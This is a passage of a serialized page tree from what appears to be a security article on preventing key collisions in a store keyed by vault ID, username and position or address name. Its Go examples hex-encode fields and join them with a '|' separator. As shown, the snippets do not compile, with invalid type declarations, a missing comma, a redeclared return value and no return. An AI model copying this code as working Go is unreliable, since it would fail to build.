",{"type":24,"tag":156,"props":89037,"children":89039},{"className":89038},[],[89040],{"type":30,"value":89041},"NameToAddressMap",{"type":30,"value":89043}," structure, which will be stored in the same ",{"type":24,"tag":156,"props":89045,"children":89047},{"className":89046},[],[89048],{"type":30,"value":88047},{"type":30,"value":89050}," we previously used.",{"type":24,"tag":920,"props":89052,"children":89054},{"code":89053,"language":79244,"meta":7,"className":79245,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n    map[VaultId]map[Username]map[AddressName]Address\n",[89055],{"type":24,"tag":156,"props":89056,"children":89057},{"__ignoreMap":7},[89058,89073,89088,89095,89110,89129,89144,89151,89166,89221,89228,89244,89264,89279,89286,89302],{"type":24,"tag":930,"props":89059,"children":89060},{"class":932,"line":933},[89061,89065,89069],{"type":24,"tag":930,"props":89062,"children":89063},{"style":937},[89064],{"type":30,"value":35844},{"type":24,"tag":930,"props":89066,"children":89067},{"style":943},[89068],{"type":30,"value":88093},{"type":24,"tag":930,"props":89070,"children":89071},{"style":943},[89072],{"type":30,"value":79282},{"type":24,"tag":930,"props":89074,"children":89075},{"class":932,"line":984},[89076,89080,89084],{"type":24,"tag":930,"props":89077,"children":89078},{"style":937},[89079],{"type":30,"value":35844},{"type":24,"tag":930,"props":89081,"children":89082},{"style":943},[89083],{"type":30,"value":88109},{"type":24,"tag":930,"props":89085,"children":89086},{"style":943},[89087],{"type":30,"value":88114},{"type":24,"tag":930,"props":89089,"children":89090},{"class":932,"line":993},[89091],{"type":24,"tag":930,"props":89092,"children":89093},{"emptyLinePlaceholder":16},[89094],{"type":30,"value":2412},{"type":24,"tag":930,"props":89096,"children":89097},{"class":932,"line":1057},[89098,89102,89106],{"type":24,"tag":930,"props":89099,"children":89100},{"style":937},[89101],{"type":30,"value":35844},{"type":24,"tag":930,"props":89103,"children":89104},{"style":943},[89105],{"type":30,"value":88126},{"type":24,"tag":930,"props":89107,"children":89108},{"style":943},[89109],{"type":30,"value":88114},{"type":24,"tag":930,"props":89111,"children":89112},{"class":932,"line":1066},[89113,89117,89121,89125],{"type":24,"tag":930,"props":89114,"children":89115},{"style":937},[89116],{"type":30,"value":35844},{"type":24,"tag":930,"props":89118,"children":89119},{"style":943},[89120],{"type":30,"value":10536},{"type":24,"tag":930,"props":89122,"children":89123},{"style":937},[89124],{"type":30,"value":24253},{"type":24,"tag":930,"props":89126,"children":89127},{"style":959},[89128],{"type":30,"value":981},{"type":24,"tag":930,"props":89130,"children":89131},{"class":932,"line":1075},[89132,89136,89140],{"type":24,"tag":930,"props":89133,"children":89134},{"style":1023},[89135],{"type":30,"value":46320},{"type":24,"tag":930,"props":89137,"children":89138},{"style":959},[89139],{"type":30,"value":79307},{"type":24,"tag":930,"props":89141,"children":89142},{"style":943},[89143],{"type":30,"value":87298},{"type":24,"tag":930,"props":89145,"children":89146},{"class":932,"line":1122},[89147],{"type":24,"tag":930,"props":89148,"children":89149},{"style":959},[89150],{"type":30,"value":2528},{"type":24,"tag":930,"props":89152,"children":89153},{"class":932,"line":1131},[89154,89158,89162],{"type":24,"tag":930,"props":89155,"children":89156},{"style":937},[89157],{"type":30,"value":35844},{"type":24,"tag":930,"props":89159,"children":89160},{"style":943},[89161],{"type":30,"value":88183},{"type":24,"tag":930,"props":89163,"children":89164},{"style":1158},[89165],{"type":30,"value":88188},{"type":24,"tag":930,"props":89167,"children":89168},{"class":932,"line":1144},[89169,89173,89177,89181,89185,89189,89193,89197,89201,89205,89209,89213,89217],{"type":24,"tag":930,"props":89170,"children":89171},{"style":937},[89172],{"type":30,"value":88196},{"type":24,"tag":930,"props":89174,"children":89175},{"style":959},[89176],{"type":30,"value":6849},{"type":24,"tag":930,"props":89178,"children":89179},{"style":943},[89180],{"type":30,"value":88205},{"type":24,"tag":930,"props":89182,"children":89183},{"style":959},[89184],{"type":30,"value":18514},{"type":24,"tag":930,"props":89186,"children":89187},{"style":937},[89188],{"type":30,"value":70187},{"type":24,"tag":930,"props":89190,"children":89191},{"style":959},[89192],{"type":30,"value":6849},{"type":24,"tag":930,"props":89194,"children":89195},{"style":943},[89196],{"type":30,"value":88222},{"type":24,"tag":930,"props":89198,"children":89199},{"style":959},[89200],{"type":30,"value":18514},{"type":24,"tag":930,"props":89202,"children":89203},{"style":937},[89204],{"type":30,"value":70187},{"type":24,"tag":930,"props":89206,"children":89207},{"style":959},[89208],{"type":30,"value":6849},{"type":24,"tag":930,"props":89210,"children":89211},{"style":943},[89212],{"type":30,"value":88239},{"type":24,"tag":930,"props":89214,"children":89215},{"style":959},[89216],{"type":30,"value":18514},{"type":24,"tag":930,"props":89218,"children":89219},{"style":943},[89220],{"type":30,"value":88248},{"type":24,"tag":930,"props":89222,"children":89223},{"class":932,"line":1169},[89224],{"type":24,"tag":930,"props":89225,"children":89226},{"emptyLinePlaceholder":16},[89227],{"type":30,"value":2412},{"type":24,"tag":930,"props":89229,"children":89230},{"class":932,"line":1191},[89231,89235,89240],{"type":24,"tag":930,"props":89232,"children":89233},{"style":937},[89234],{"type":30,"value":35844},{"type":24,"tag":930,"props":89236,"children":89237},{"style":943},[89238],{"type":30,"value":89239}," AddressName",{"type":24,"tag":930,"props":89241,"children":89242},{"style":943},[89243],{"type":30,"value":88114},{"type":24,"tag":930,"props":89245,"children":89246},{"class":932,"line":1223},[89247,89251,89256,89260],{"type":24,"tag":930,"props":89248,"children":89249},{"style":937},[89250],{"type":30,"value":35844},{"type":24,"tag":930,"props":89252,"children":89253},{"style":943},[89254],{"type":30,"value":89255}," Address",{"type":24,"tag":930,"props":89257,"children":89258},{"style":937},[89259],{"type":30,"value":24253},{"type":24,"tag":930,"props":89261,"children":89262},{"style":959},[89263],{"type":30,"value":981},{"type":24,"tag":930,"props":89265,"children":89266},{"class":932,"line":1281},[89267,89271,89275],{"type":24,"tag":930,"props":89268,"children":89269},{"style":1023},[89270],{"type":30,"value":18208},{"type":24,"tag":930,"props":89272,"children":89273},{"style":959},[89274],{"type":30,"value":79307},{"type":24,"tag":930,"props":89276,"children":89277},{"style":943},[89278],{"type":30,"value":87298},{"type":24,"tag":930,"props":89280,"children":89281},{"class":932,"line":1313},[89282],{"type":24,"tag":930,"props":89283,"children":89284},{"style":959},[89285],{"type":30,"value":2528},{"type":24,"tag":930,"props":89287,"children":89288},{"class":932,"line":1335},[89289,89293,89298],{"type":24,"tag":930,"props":89290,"children":89291},{"style":937},[89292],{"type":30,"value":35844},{"type":24,"tag":930,"props":89294,"children":89295},{"style":943},[89296],{"type":30,"value":89297}," AddressMap",{"type":24,"tag":930,"props":89299,"children":89300},{"style":1158},[89301],{"type":30,"value":88188},{"type":24,"tag":930,"props":89303,"children":89304},{"class":932,"line":1376},[89305,89309,89313,89317,89321,89325,89329,89333,89337,89341,89345,89350,89354],{"type":24,"tag":930,"props":89306,"children":89307},{"style":937},[89308],{"type":30,"value":88196},{"type":24,"tag":930,"props":89310,"children":89311},{"style":959},[89312],{"type":30,"value":6849},{"type":24,"tag":930,"props":89314,"children":89315},{"style":943},[89316],{"type":30,"value":88205},{"type":24,"tag":930,"props":89318,"children":89319},{"style":959},[89320],{"type":30,"value":18514},{"type":24,"tag":930,"props":89322,"children":89323},{"style":937},[89324],{"type":30,"value":70187},{"type":24,"tag":930,"props":89326,"children":89327},{"style":959},[89328],{"type":30,"value":6849},{"type":24,"tag":930,"props":89330,"children":89331},{"style":943},[89332],{"type":30,"value":88222},{"type":24,"tag":930,"props":89334,"children":89335},{"style":959},[89336],{"type":30,"value":18514},{"type":24,"tag":930,"props":89338,"children":89339},{"style":937},[89340],{"type":30,"value":70187},{"type":24,"tag":930,"props":89342,"children":89343},{"style":959},[89344],{"type":30,"value":6849},{"type":24,"tag":930,"props":89346,"children":89347},{"style":943},[89348],{"type":30,"value":89349},"AddressName",{"type":24,"tag":930,"props":89351,"children":89352},{"style":959},[89353],{"type":30,"value":18514},{"type":24,"tag":930,"props":89355,"children":89356},{"style":943},[89357],{"type":30,"value":89358},"Address\n",{"type":24,"tag":33,"props":89360,"children":89361},{},[89362],{"type":30,"value":89363},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":24,"tag":920,"props":89365,"children":89367},{"code":89366,"language":79244,"meta":7,"className":79245,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[89368],{"type":24,"tag":156,"props":89369,"children":89370},{"__ignoreMap":7},[89371,89382,89397,89404,89411,89418,89434,89449,89476,89499,89518,89534,89570,89577,89612,89619,89639,89654,89689,89696,89731,89738,89766,89778,89790,89802,89814,89825,89837,89844,89851,89858,89865,89881,89896,89920,89943,89962,89977,90012,90019,90054,90061,90081,90096,90131,90138,90174,90181,90208,90219,90230,90241,90252,90263,90275,90282],{"type":24,"tag":930,"props":89372,"children":89373},{"class":932,"line":933},[89374,89378],{"type":24,"tag":930,"props":89375,"children":89376},{"style":937},[89377],{"type":30,"value":12762},{"type":24,"tag":930,"props":89379,"children":89380},{"style":959},[89381],{"type":30,"value":81645},{"type":24,"tag":930,"props":89383,"children":89384},{"class":932,"line":984},[89385,89389,89393],{"type":24,"tag":930,"props":89386,"children":89387},{"style":1023},[89388],{"type":30,"value":88401},{"type":24,"tag":930,"props":89390,"children":89391},{"style":1158},[89392],{"type":30,"value":6137},{"type":24,"tag":930,"props":89394,"children":89395},{"style":1270},[89396],{"type":30,"value":88410},{"type":24,"tag":930,"props":89398,"children":89399},{"class":932,"line":993},[89400],{"type":24,"tag":930,"props":89401,"children":89402},{"style":959},[89403],{"type":30,"value":1054},{"type":24,"tag":930,"props":89405,"children":89406},{"class":932,"line":1057},[89407],{"type":24,"tag":930,"props":89408,"children":89409},{"emptyLinePlaceholder":16},[89410],{"type":30,"value":2412},{"type":24,"tag":930,"props":89412,"children":89413},{"class":932,"line":1066},[89414],{"type":24,"tag":930,"props":89415,"children":89416},{"emptyLinePlaceholder":16},[89417],{"type":30,"value":2412},{"type":24,"tag":930,"props":89419,"children":89420},{"class":932,"line":1075},[89421,89425,89430],{"type":24,"tag":930,"props":89422,"children":89423},{"style":937},[89424],{"type":30,"value":79380},{"type":24,"tag":930,"props":89426,"children":89427},{"style":1002},[89428],{"type":30,"value":89429}," PositionMapKey",{"type":24,"tag":930,"props":89431,"children":89432},{"style":959},[89433],{"type":30,"value":2814},{"type":24,"tag":930,"props":89435,"children":89436},{"class":932,"line":1122},[89437,89441,89445],{"type":24,"tag":930,"props":89438,"children":89439},{"style":1023},[89440],{"type":30,"value":88317},{"type":24,"tag":930,"props":89442,"children":89443},{"style":943},[89444],{"type":30,"value":79500},{"type":24,"tag":930,"props":89446,"children":89447},{"style":959},[89448],{"type":30,"value":2832},{"type":24,"tag":930,"props":89450,"children":89451},{"class":932,"line":1131},[89452,89456,89460,89464,89468,89472],{"type":24,"tag":930,"props":89453,"children":89454},{"style":1023},[89455],{"type":30,"value":88329},{"type":24,"tag":930,"props":89457,"children":89458},{"style":959},[89459],{"type":30,"value":962},{"type":24,"tag":930,"props":89461,"children":89462},{"style":1023},[89463],{"type":30,"value":88810},{"type":24,"tag":930,"props":89465,"children":89466},{"style":959},[89467],{"type":30,"value":79307},{"type":24,"tag":930,"props":89469,"children":89470},{"style":943},[89471],{"type":30,"value":87835},{"type":24,"tag":930,"props":89473,"children":89474},{"style":959},[89475],{"type":30,"value":2832},{"type":24,"tag":930,"props":89477,"children":89478},{"class":932,"line":1144},[89479,89483,89487,89491,89495],{"type":24,"tag":930,"props":89480,"children":89481},{"style":959},[89482],{"type":30,"value":79461},{"type":24,"tag":930,"props":89484,"children":89485},{"style":1023},[89486],{"type":30,"value":75237},{"type":24,"tag":930,"props":89488,"children":89489},{"style":959},[89490],{"type":30,"value":79307},{"type":24,"tag":930,"props":89492,"children":89493},{"style":943},[89494],{"type":30,"value":87835},{"type":24,"tag":930,"props":89496,"children":89497},{"style":959},[89498],{"type":30,"value":1503},{"type":24,"tag":930,"props":89500,"children":89501},{"class":932,"line":1169},[89502,89506,89510,89514],{"type":24,"tag":930,"props":89503,"children":89504},{"style":1023},[89505],{"type":30,"value":88931},{"type":24,"tag":930,"props":89507,"children":89508},{"style":1158},[89509],{"type":30,"value":79495},{"type":24,"tag":930,"props":89511,"children":89512},{"style":1002},[89513],{"type":30,"value":88634},{"type":24,"tag":930,"props":89515,"children":89516},{"style":959},[89517],{"type":30,"value":2814},{"type":24,"tag":930,"props":89519,"children":89520},{"class":932,"line":1191},[89521,89526,89530],{"type":24,"tag":930,"props":89522,"children":89523},{"style":959},[89524],{"type":30,"value":89525},"        []",{"type":24,"tag":930,"props":89527,"children":89528},{"style":943},[89529],{"type":30,"value":87835},{"type":24,"tag":930,"props":89531,"children":89532},{"style":959},[89533],{"type":30,"value":2832},{"type":24,"tag":930,"props":89535,"children":89536},{"class":932,"line":1223},[89537,89542,89546,89550,89554,89558,89562,89566],{"type":24,"tag":930,"props":89538,"children":89539},{"style":1023},[89540],{"type":30,"value":89541},"        hex",{"type":24,"tag":930,"props":89543,"children":89544},{"style":959},[89545],{"type":30,"value":436},{"type":24,"tag":930,"props":89547,"children":89548},{"style":1002},[89549],{"type":30,"value":88671},{"type":24,"tag":930,"props":89551,"children":89552},{"style":959},[89553],{"type":30,"value":1010},{"type":24,"tag":930,"props":89555,"children":89556},{"style":1002},[89557],{"type":30,"value":12247},{"type":24,"tag":930,"props":89559,"children":89560},{"style":959},[89561],{"type":30,"value":1010},{"type":24,"tag":930,"props":89563,"children":89564},{"style":1023},[89565],{"type":30,"value":88541},{"type":24,"tag":930,"props":89567,"children":89568},{"style":959},[89569],{"type":30,"value":88692},{"type":24,"tag":930,"props":89571,"children":89572},{"class":932,"line":1281},[89573],{"type":24,"tag":930,"props":89574,"children":89575},{"style":959},[89576],{"type":30,"value":2877},{"type":24,"tag":930,"props":89578,"children":89579},{"class":932,"line":1313},[89580,89584,89588,89592,89596,89600,89604,89608],{"type":24,"tag":930,"props":89581,"children":89582},{"style":1023},[89583],{"type":30,"value":88662},{"type":24,"tag":930,"props":89585,"children":89586},{"style":959},[89587],{"type":30,"value":436},{"type":24,"tag":930,"props":89589,"children":89590},{"style":1002},[89591],{"type":30,"value":88716},{"type":24,"tag":930,"props":89593,"children":89594},{"style":959},[89595],{"type":30,"value":1010},{"type":24,"tag":930,"props":89597,"children":89598},{"style":1023},[89599],{"type":30,"value":88625},{"type":24,"tag":930,"props":89601,"children":89602},{"style":959},[89603],{"type":30,"value":962},{"type":24,"tag":930,"props":89605,"children":89606},{"style":1023},[89607],{"type":30,"value":88541},{"type":24,"tag":930,"props":89609,"children":89610},{"style":959},[89611],{"type":30,"value":1054},{"type":24,"tag":930,"props":89613,"children":89614},{"class":932,"line":1335},[89615],{"type":24,"tag":930,"props":89616,"children":89617},{"emptyLinePlaceholder":16},[89618],{"type":30,"value":2412},{"type":24,"tag":930,"props":89620,"children":89621},{"class":932,"line":1376},[89622,89627,89631,89635],{"type":24,"tag":930,"props":89623,"children":89624},{"style":1023},[89625],{"type":30,"value":89626},"    positionNameEncoded",{"type":24,"tag":930,"props":89628,"children":89629},{"style":1158},[89630],{"type":30,"value":79495},{"type":24,"tag":930,"props":89632,"children":89633},{"style":1002},[89634],{"type":30,"value":88634},{"type":24,"tag":930,"props":89636,"children":89637},{"style":959},[89638],{"type":30,"value":2814},{"type":24,"tag":930,"props":89640,"children":89641},{"class":932,"line":1418},[89642,89646,89650],{"type":24,"tag":930,"props":89643,"children":89644},{"style":959},[89645],{"type":30,"value":89525},{"type":24,"tag":930,"props":89647,"children":89648},{"style":943},[89649],{"type":30,"value":87835},{"type":24,"tag":930,"props":89651,"children":89652},{"style":959},[89653],{"type":30,"value":2832},{"type":24,"tag":930,"props":89655,"children":89656},{"class":932,"line":1438},[89657,89661,89665,89669,89673,89677,89681,89685],{"type":24,"tag":930,"props":89658,"children":89659},{"style":1023},[89660],{"type":30,"value":89541},{"type":24,"tag":930,"props":89662,"children":89663},{"style":959},[89664],{"type":30,"value":436},{"type":24,"tag":930,"props":89666,"children":89667},{"style":1002},[89668],{"type":30,"value":88671},{"type":24,"tag":930,"props":89670,"children":89671},{"style":959},[89672],{"type":30,"value":1010},{"type":24,"tag":930,"props":89674,"children":89675},{"style":1002},[89676],{"type":30,"value":12247},{"type":24,"tag":930,"props":89678,"children":89679},{"style":959},[89680],{"type":30,"value":1010},{"type":24,"tag":930,"props":89682,"children":89683},{"style":1023},[89684],{"type":30,"value":88810},{"type":24,"tag":930,"props":89686,"children":89687},{"style":959},[89688],{"type":30,"value":88692},{"type":24,"tag":930,"props":89690,"children":89691},{"class":932,"line":1479},[89692],{"type":24,"tag":930,"props":89693,"children":89694},{"style":959},[89695],{"type":30,"value":2877},{"type":24,"tag":930,"props":89697,"children":89698},{"class":932,"line":1506},[89699,89703,89707,89711,89715,89719,89723,89727],{"type":24,"tag":930,"props":89700,"children":89701},{"style":1023},[89702],{"type":30,"value":88662},{"type":24,"tag":930,"props":89704,"children":89705},{"style":959},[89706],{"type":30,"value":436},{"type":24,"tag":930,"props":89708,"children":89709},{"style":1002},[89710],{"type":30,"value":88716},{"type":24,"tag":930,"props":89712,"children":89713},{"style":959},[89714],{"type":30,"value":1010},{"type":24,"tag":930,"props":89716,"children":89717},{"style":1023},[89718],{"type":30,"value":88751},{"type":24,"tag":930,"props":89720,"children":89721},{"style":959},[89722],{"type":30,"value":962},{"type":24,"tag":930,"props":89724,"children":89725},{"style":1023},[89726],{"type":30,"value":88810},{"type":24,"tag":930,"props":89728,"children":89729},{"style":959},[89730],{"type":30,"value":1054},{"type":24,"tag":930,"props":89732,"children":89733},{"class":932,"line":1525},[89734],{"type":24,"tag":930,"props":89735,"children":89736},{"emptyLinePlaceholder":16},[89737],{"type":30,"value":2412},{"type":24,"tag":930,"props":89739,"children":89740},{"class":932,"line":1569},[89741,89746,89750,89754,89758,89762],{"type":24,"tag":930,"props":89742,"children":89743},{"style":1023},[89744],{"type":30,"value":89745},"    key",{"type":24,"tag":930,"props":89747,"children":89748},{"style":1158},[89749],{"type":30,"value":79495},{"type":24,"tag":930,"props":89751,"children":89752},{"style":1023},[89753],{"type":30,"value":85305},{"type":24,"tag":930,"props":89755,"children":89756},{"style":959},[89757],{"type":30,"value":436},{"type":24,"tag":930,"props":89759,"children":89760},{"style":1002},[89761],{"type":30,"value":88293},{"type":24,"tag":930,"props":89763,"children":89764},{"style":959},[89765],{"type":30,"value":2814},{"type":24,"tag":930,"props":89767,"children":89768},{"class":932,"line":1592},[89769,89774],{"type":24,"tag":930,"props":89770,"children":89771},{"style":1270},[89772],{"type":30,"value":89773},"        \"%d%s%s%s%s\"",{"type":24,"tag":930,"props":89775,"children":89776},{"style":959},[89777],{"type":30,"value":2832},{"type":24,"tag":930,"props":89779,"children":89780},{"class":932,"line":1610},[89781,89786],{"type":24,"tag":930,"props":89782,"children":89783},{"style":1023},[89784],{"type":30,"value":89785},"        vaultId",{"type":24,"tag":930,"props":89787,"children":89788},{"style":959},[89789],{"type":30,"value":2832},{"type":24,"tag":930,"props":89791,"children":89792},{"class":932,"line":1628},[89793,89798],{"type":24,"tag":930,"props":89794,"children":89795},{"style":1023},[89796],{"type":30,"value":89797},"        Seperator",{"type":24,"tag":930,"props":89799,"children":89800},{"style":959},[89801],{"type":30,"value":2832},{"type":24,"tag":930,"props":89803,"children":89804},{"class":932,"line":1637},[89805,89810],{"type":24,"tag":930,"props":89806,"children":89807},{"style":1023},[89808],{"type":30,"value":89809},"        usernameEncoded",{"type":24,"tag":930,"props":89811,"children":89812},{"style":959},[89813],{"type":30,"value":2832},{"type":24,"tag":930,"props":89815,"children":89816},{"class":932,"line":1646},[89817,89821],{"type":24,"tag":930,"props":89818,"children":89819},{"style":1023},[89820],{"type":30,"value":89797},{"type":24,"tag":930,"props":89822,"children":89823},{"style":959},[89824],{"type":30,"value":2832},{"type":24,"tag":930,"props":89826,"children":89827},{"class":932,"line":1673},[89828,89833],{"type":24,"tag":930,"props":89829,"children":89830},{"style":1023},[89831],{"type":30,"value":89832},"        positionNameEncoded",{"type":24,"tag":930,"props":89834,"children":89835},{"style":959},[89836],{"type":30,"value":2832},{"type":24,"tag":930,"props":89838,"children":89839},{"class":932,"line":1692},[89840],{"type":24,"tag":930,"props":89841,"children":89842},{"style":959},[89843],{"type":30,"value":2877},{"type":24,"tag":930,"props":89845,"children":89846},{"class":932,"line":1730},[89847],{"type":24,"tag":930,"props":89848,"children":89849},{"style":959},[89850],{"type":30,"value":2528},{"type":24,"tag":930,"props":89852,"children":89853},{"class":932,"line":1762},[89854],{"type":24,"tag":930,"props":89855,"children":89856},{"emptyLinePlaceholder":16},[89857],{"type":30,"value":2412},{"type":24,"tag":930,"props":89859,"children":89860},{"class":932,"line":1775},[89861],{"type":24,"tag":930,"props":89862,"children":89863},{"emptyLinePlaceholder":16},[89864],{"type":30,"value":2412},{"type":24,"tag":930,"props":89866,"children":89867},{"class":932,"line":1825},[89868,89872,89877],{"type":24,"tag":930,"props":89869,"children":89870},{"style":937},[89871],{"type":30,"value":79380},{"type":24,"tag":930,"props":89873,"children":89874},{"style":1002},[89875],{"type":30,"value":89876}," AddressMapKey",{"type":24,"tag":930,"props":89878,"children":89879},{"style":959},[89880],{"type":30,"value":2814},{"type":24,"tag":930,"props":89882,"children":89883},{"class":932,"line":1834},[89884,89888,89892],{"type":24,"tag":930,"props":89885,"children":89886},{"style":1023},[89887],{"type":30,"value":88317},{"type":24,"tag":930,"props":89889,"children":89890},{"style":943},[89891],{"type":30,"value":79500},{"type":24,"tag":930,"props":89893,"children":89894},{"style":959},[89895],{"type":30,"value":2832},{"type":24,"tag":930,"props":89897,"children":89898},{"class":932,"line":1843},[89899,89903,89907,89912,89916],{"type":24,"tag":930,"props":89900,"children":89901},{"style":1023},[89902],{"type":30,"value":88329},{"type":24,"tag":930,"props":89904,"children":89905},{"style":959},[89906],{"type":30,"value":962},{"type":24,"tag":930,"props":89908,"children":89909},{"style":1023},[89910],{"type":30,"value":89911},"addressName",{"type":24,"tag":930,"props":89913,"children":89914},{"style":959},[89915],{"type":30,"value":79307},{"type":24,"tag":930,"props":89917,"children":89918},{"style":943},[89919],{"type":30,"value":87298},{"type":24,"tag":930,"props":89921,"children":89922},{"class":932,"line":1851},[89923,89927,89931,89935,89939],{"type":24,"tag":930,"props":89924,"children":89925},{"style":959},[89926],{"type":30,"value":79461},{"type":24,"tag":930,"props":89928,"children":89929},{"style":1023},[89930],{"type":30,"value":75237},{"type":24,"tag":930,"props":89932,"children":89933},{"style":959},[89934],{"type":30,"value":79307},{"type":24,"tag":930,"props":89936,"children":89937},{"style":943},[89938],{"type":30,"value":87835},{"type":24,"tag":930,"props":89940,"children":89941},{"style":959},[89942],{"type":30,"value":1503},{"type":24,"tag":930,"props":89944,"children":89945},{"class":932,"line":1919},[89946,89950,89954,89958],{"type":24,"tag":930,"props":89947,"children":89948},{"style":1023},[89949],{"type":30,"value":88931},{"type":24,"tag":930,"props":89951,"children":89952},{"style":1158},[89953],{"type":30,"value":79495},{"type":24,"tag":930,"props":89955,"children":89956},{"style":1002},[89957],{"type":30,"value":88634},{"type":24,"tag":930,"props":89959,"children":89960},{"style":959},[89961],{"type":30,"value":2814},{"type":24,"tag":930,"props":89963,"children":89964},{"class":932,"line":1927},[89965,89969,89973],{"type":24,"tag":930,"props":89966,"children":89967},{"style":959},[89968],{"type":30,"value":89525},{"type":24,"tag":930,"props":89970,"children":89971},{"style":943},[89972],{"type":30,"value":87835},{"type":24,"tag":930,"props":89974,"children":89975},{"style":959},[89976],{"type":30,"value":2832},{"type":24,"tag":930,"props":89978,"children":89979},{"class":932,"line":1935},[89980,89984,89988,89992,89996,90000,90004,90008],{"type":24,"tag":930,"props":89981,"children":89982},{"style":1023},[89983],{"type":30,"value":89541},{"type":24,"tag":930,"props":89985,"children":89986},{"style":959},[89987],{"type":30,"value":436},{"type":24,"tag":930,"props":89989,"children":89990},{"style":1002},[89991],{"type":30,"value":88671},{"type":24,"tag":930,"props":89993,"children":89994},{"style":959},[89995],{"type":30,"value":1010},{"type":24,"tag":930,"props":89997,"children":89998},{"style":1002},[89999],{"type":30,"value":12247},{"type":24,"tag":930,"props":90001,"children":90002},{"style":959},[90003],{"type":30,"value":1010},{"type":24,"tag":930,"props":90005,"children":90006},{"style":1023},[90007],{"type":30,"value":88541},{"type":24,"tag":930,"props":90009,"children":90010},{"style":959},[90011],{"type":30,"value":88692},{"type":24,"tag":930,"props":90013,"children":90014},{"class":932,"line":1943},[90015],{"type":24,"tag":930,"props":90016,"children":90017},{"style":959},[90018],{"type":30,"value":2877},{"type":24,"tag":930,"props":90020,"children":90021},{"class":932,"line":1955},[90022,90026,90030,90034,90038,90042,90046,90050],{"type":24,"tag":930,"props":90023,"children":90024},{"style":1023},[90025],{"type":30,"value":88662},{"type":24,"tag":930,"props":90027,"children":90028},{"style":959},[90029],{"type":30,"value":436},{"type":24,"tag":930,"props":90031,"children":90032},{"style":1002},[90033],{"type":30,"value":88716},{"type":24,"tag":930,"props":90035,"children":90036},{"style":959},[90037],{"type":30,"value":1010},{"type":24,"tag":930,"props":90039,"children":90040},{"style":1023},[90041],{"type":30,"value":88625},{"type":24,"tag":930,"props":90043,"children":90044},{"style":959},[90045],{"type":30,"value":962},{"type":24,"tag":930,"props":90047,"children":90048},{"style":1023},[90049],{"type":30,"value":88541},{"type":24,"tag":930,"props":90051,"children":90052},{"style":959},[90053],{"type":30,"value":1054},{"type":24,"tag":930,"props":90055,"children":90056},{"class":932,"line":1975},[90057],{"type":24,"tag":930,"props":90058,"children":90059},{"emptyLinePlaceholder":16},[90060],{"type":30,"value":2412},{"type":24,"tag":930,"props":90062,"children":90063},{"class":932,"line":1995},[90064,90069,90073,90077],{"type":24,"tag":930,"props":90065,"children":90066},{"style":1023},[90067],{"type":30,"value":90068},"    addressNameEncoded",{"type":24,"tag":930,"props":90070,"children":90071},{"style":1158},[90072],{"type":30,"value":79495},{"type":24,"tag":930,"props":90074,"children":90075},{"style":1002},[90076],{"type":30,"value":88634},{"type":24,"tag":930,"props":90078,"children":90079},{"style":959},[90080],{"type":30,"value":2814},{"type":24,"tag":930,"props":90082,"children":90083},{"class":932,"line":2061},[90084,90088,90092],{"type":24,"tag":930,"props":90085,"children":90086},{"style":959},[90087],{"type":30,"value":89525},{"type":24,"tag":930,"props":90089,"children":90090},{"style":943},[90091],{"type":30,"value":87835},{"type":24,"tag":930,"props":90093,"children":90094},{"style":959},[90095],{"type":30,"value":2832},{"type":24,"tag":930,"props":90097,"children":90098},{"class":932,"line":2085},[90099,90103,90107,90111,90115,90119,90123,90127],{"type":24,"tag":930,"props":90100,"children":90101},{"style":1023},[90102],{"type":30,"value":89541},{"type":24,"tag":930,"props":90104,"children":90105},{"style":959},[90106],{"type":30,"value":436},{"type":24,"tag":930,"props":90108,"children":90109},{"style":1002},[90110],{"type":30,"value":88671},{"type":24,"tag":930,"props":90112,"children":90113},{"style":959},[90114],{"type":30,"value":1010},{"type":24,"tag":930,"props":90116,"children":90117},{"style":1002},[90118],{"type":30,"value":12247},{"type":24,"tag":930,"props":90120,"children":90121},{"style":959},[90122],{"type":30,"value":1010},{"type":24,"tag":930,"props":90124,"children":90125},{"style":1023},[90126],{"type":30,"value":89911},{"type":24,"tag":930,"props":90128,"children":90129},{"style":959},[90130],{"type":30,"value":88692},{"type":24,"tag":930,"props":90132,"children":90133},{"class":932,"line":2119},[90134],{"type":24,"tag":930,"props":90135,"children":90136},{"style":959},[90137],{"type":30,"value":2877},{"type":24,"tag":930,"props":90139,"children":90140},{"class":932,"line":2135},[90141,90145,90149,90153,90157,90162,90166,90170],{"type":24,"tag":930,"props":90142,"children":90143},{"style":1023},[90144],{"type":30,"value":88662},{"type":24,"tag":930,"props":90146,"children":90147},{"style":959},[90148],{"type":30,"value":436},{"type":24,"tag":930,"props":90150,"children":90151},{"style":1002},[90152],{"type":30,"value":88716},{"type":24,"tag":930,"props":90154,"children":90155},{"style":959},[90156],{"type":30,"value":1010},{"type":24,"tag":930,"props":90158,"children":90159},{"style":1023},[90160],{"type":30,"value":90161},"addressNameEncoded",{"type":24,"tag":930,"props":90163,"children":90164},{"style":959},[90165],{"type":30,"value":962},{"type":24,"tag":930,"props":90167,"children":90168},{"style":1023},[90169],{"type":30,"value":89911},{"type":24,"tag":930,"props":90171,"children":90172},{"style":959},[90173],{"type":30,"value":1054},{"type":24,"tag":930,"props":90175,"children":90176},{"class":932